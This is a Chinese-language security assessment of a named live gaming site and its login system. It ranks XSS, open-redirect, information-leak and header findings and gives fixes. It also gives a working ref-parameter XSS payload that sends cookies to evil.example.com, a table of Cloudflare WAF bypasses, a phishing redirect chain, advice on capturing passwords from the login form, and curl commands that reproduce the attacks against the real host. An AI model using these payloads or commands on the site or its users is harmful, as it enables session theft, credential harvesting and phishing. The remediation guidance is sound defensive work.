https://hot.mangot5.com/hot/index(及其依赖的 www.mangot5.com 账号体系)| # | 漏洞 | 等级 | 状态 | WAF 能否拦 |
|---|---|---|---|---|
| 1 | 登录页 ref 参数 DOM XSS(JS 字符串注入) | 高 | 代码层确认可利用 | ❌ 可绕过 |
| 2 | 登录页 ref 参数 开放重定向 | 高 | 100% 可利用 | ❌ 不拦 |
| 3 | /webLauncher/config 未授权信息泄漏 | 中 | 可利用 | ❌ 不拦 |
| 4 | 登录表单硬编码内网 IP 10.100.1.5 | 中 | 已确认 | — |
| 5 | 安全响应头缺失(hot 域六项全无) | 中 | 已确认 | — |
| 6 | simplebar@latest 未锁版本 + 全站无 SRI | 低 | 已确认 | — |
| 7 | robots.txt 泄漏内部路径 | 低 | 已确认 | — |
| 8 | JSESSIONID 无 Secure / SameSite | 低 | 已确认 | — |
| — | SQL 注入 | — | 已排除(强类型绑定,优雅降级) | — |
| — | CORS 配置错误 | — | 已排除(无任何 ACAO 响应) | — |
| — | 会员页未授权访问 | — | 已排除(重定向到登录壳页) | — |
重要更正:上一份分析报告中"未启用 WAF 挑战"的判断需要修正。实测证明 Cloudflare WAF 规则集是开启的(返回 Attention Required! | Cloudflare 403 页),能拦截 alert(、<script>、eval(、fetch(、fromCharCode 等特征词。但它拦不住无特征词的 JS 注入与开放重定向。
ref 参数 DOM XSS(高危)https://www.mangot5.com/Index/Member/Login?gname=hot&ref=<payload>
从用户给的入口同样可达 —— hot.mangot5.com 会 302 并把 ref URL 编码后原样透传:
GET https://hot.mangot5.com/Index/Member/Login?gname=hot&ref=<payload>
→ 302
→ location: //www.mangot5.com/Index/Member/Login?gname=hot&ref=<payload(URL编码)>
服务端把 ref 直接拼进 JavaScript 单引号字符串字面量,无任何转义。
决定性证据 —— 输入 ref=a'b:
var ref = 'a'b'; ← 语法错误,证明单引号零转义
输入 ref=':
var ref = '''; ← 同样未转义
x';location.href='//evil.example.com?c='+document.cookie;//
服务端返回:
var ref = 'x';location.href='//evil.example.com?c='+document.cookie;//';
这段语法完全合法,等价于:
var ref = 'x';
location.href = '//evil.example.com?c=' + document.cookie;
//'; ← 剩余原文被注释掉
为什么 WAF 不拦:payload 不含 alert(、<、>、eval(、fetch(、fromCharCode 等特征词,Cloudflare OWASP 规则集不命中。
| payload | HTTP | 结果 |
|---|---|---|
x';alert(1);// | 403 | 被 WAF 拦 |
</script><script>alert(1)</script> | 403 | 被 WAF 拦 |
<img src=x onerror=alert(1)> | 403 | 被 WAF 拦 |
x';eval(String.fromCharCode(...));// | 403 | 被 WAF 拦 |
x';eval(atob('YWxlcnQoMSk='));// | 403 | 被 WAF 拦 |
x';fetch('//evil.example.com/'+document.title);// | 403 | 被 WAF 拦 |
x';location.href='//evil.example.com?c='+document.cookie;// | 200 | 绕过成功 |
注入的语句位于 #checkModal(信箱認證弹窗)的 hide.bs.modal 回调内:
$('#checkModal').on('hide.bs.modal', function () {
...
var ref = '<注入点>';
if (window.location.href.indexOf('/Member/Login') > 0) {
if (ref == '') ref = "/Index"
verifyOtp(gname, otpCheck, ref)
}
})
所以 payload 在页面加载时即被写入,但要等受害者关闭/隐藏该弹窗才执行。该弹窗带「關閉 | 24小時內不再顯示此訊息」复选框和关闭按钮,用户关闭概率高,利用条件成立。
额外影响:即使 payload 只写一个裸 '(不闭合),也会让整个 <script> 块语法错误而失效 → 页面 JS 全瘫,属于可用性破坏。
注入点在登录页上,受害者会在此输入账号密码。攻击者可 hook #Login 表单的 submit 或读取 #oldPassword / #newPassword 的 value 外带 —— JSESSIONID 的 HttpOnly 挡不住这个路径。
verifyOtp() 末尾:
} else {
location.href = ref; ← ref 完全可控,无白名单、无同源校验
}
实测 ref=https://evil.example.com/pwn 返回 HTTP 200 并原样注入,WAF 不拦。登录成功后受害者被送到外部站点。
典型钓鱼链:
https://hot.mangot5.com/Index/Member/Login?gname=hot&ref=https://evil.example.com/fake-login
受害者看到的是官网域名开头的链接,登录后被静默送到高仿登录页做二次收割。
/webLauncher/config 未授权信息泄漏(中危)GET https://hot.mangot5.com/webLauncher/config
→ HTTP 200, 3,590 B, JSON
无需任何鉴权,直接返回 14 款游戏的启动器可执行文件名 + 安装注册表路径 + 内部 gameId:
{"gname":"lostark","exename":"Launcher.exe",
"regpath":"Software\\HappyTuk\\LOSTARK","game":{"id":61,...}}
属于设计缺陷(本意给启动器客户端读),但暴露了全平台客户端部署细节,对定向攻击有侦察价值。
登录页源码:
<input type="hidden" name="clientIP" value="10.100.1.5" />
RFC1918 内网地址写死在模板里(两处),说明后端在反向代理后取到的是内网地址,或占位符从未替换。属于信息泄漏。
hot.mangot5.com 实测六项全缺:
✗ Content-Security-Policy ✗ Strict-Transport-Security
✗ X-Frame-Options ✗ X-Content-Type-Options
✗ Referrer-Policy ✗ Permissions-Policy
www.mangot5.com 只有 X-Frame-Options: SAMEORIGIN。
为什么这是本次的关键放大器:漏洞 1 的 XSS 之所以能成立并被绕过,正是因为没有 CSP。若部署 script-src 'self',这条注入即使语法合法也无法执行外部脚本、无法外带数据。
simplebar@latest 未锁版本:https://cdn.jsdelivr.net/npm/simplebar@latest/dist/simplebar.js,上游任意一次发布即生效;全站 20+ 个跨域脚本无一使用 SRI。robots.txt 泄漏:屏蔽 /Index/Member/Login、/Index/Member/Profile、/Index/Member/ChangePWD,以及单独屏蔽 /game/cls/notice/detail/?contentNo=8639(暴露该 CLOSERS 公告的特殊性)。JSESSIONID:Domain=.mangot5.com; Path=/; HttpOnly,但无 Secure、无 SameSite。SQL 注入 — 排除
| 请求 | 结果 |
|---|---|
contentNo=70398 | 200 / 33,288 B 正常详情 |
contentNo=70398' | 200 / 21,544 B 空壳 |
contentNo=abc | 200 / 21,544 B 空壳 |
contentNo=1 | 200 / 21,544 B 空壳 |
非数字一律降级到同一张空壳模板,无异常页、无堆栈 → 强类型绑定,注入面闭合。
CORS — 排除:携带 Origin: https://evil.example.com / null / https://hot.mangot5.com.evil.com 请求,Access-Control-Allow-Origin 全部为空。
会员页未授权访问 — 排除:/Index/Member/Profile、/Index/Member/ChangePWD 虽返回 200,但内容是登录壳页(含 <form id="Login">、导航栏"登入"链接),无任何用户数据。
敏感文件 — WAF 已挡(非漏洞):.git/config、.env、phpinfo.php、wp-login.php 均返回 403。对照实验证实是 WAF 统一规则,不是文件存在:
/tevlfoksihai (随机) → 404
/nonexistent_page_xyz → 404
/.git/config → 403 ← Cloudflare WAF
ref 参数做严格白名单校验 —— 只允许以 / 开头且不以 // 开头的相对路径,或直接改成枚举值。这一条同时修掉 XSS 与开放重定向。JSON.stringify() 输出并放在 data-* 属性里**,不要拼字符串字面量。script-src 'self' 'unsafe-inline' + connect-src 'self',能直接封死这类外带。/webLauncher/config 加鉴权(至少校验登录态或来源)。simplebar 锁到具体版本 + 全站第三方脚本加 SRI。Secure; SameSite=Lax。# 漏洞 1 + 2(开放重定向,HTTP 200)
curl -sS "https://www.mangot5.com/Index/Member/Login?gname=hot&ref=https%3A%2F%2Fevil.example.com%2Fpwn" | grep "var ref"
# 漏洞 1(XSS 注入,HTTP 200,WAF 不拦)
curl -sS "https://www.mangot5.com/Index/Member/Login?gname=hot&ref=x%27%3Blocation.href%3D%27%2F%2Fevil.example.com%3Fc%3D%27%2Bdocument.cookie%3B%2F%2F" | grep "var ref"
# 对照:被 WAF 拦截(403 Attention Required)
curl -sS "https://www.mangot5.com/Index/Member/Login?gname=hot&ref=x%27%3Balert(1)%3B%2F%2F" | grep -i "attention"
# 漏洞 3(未授权配置)
curl -sS "https://hot.mangot5.com/webLauncher/config"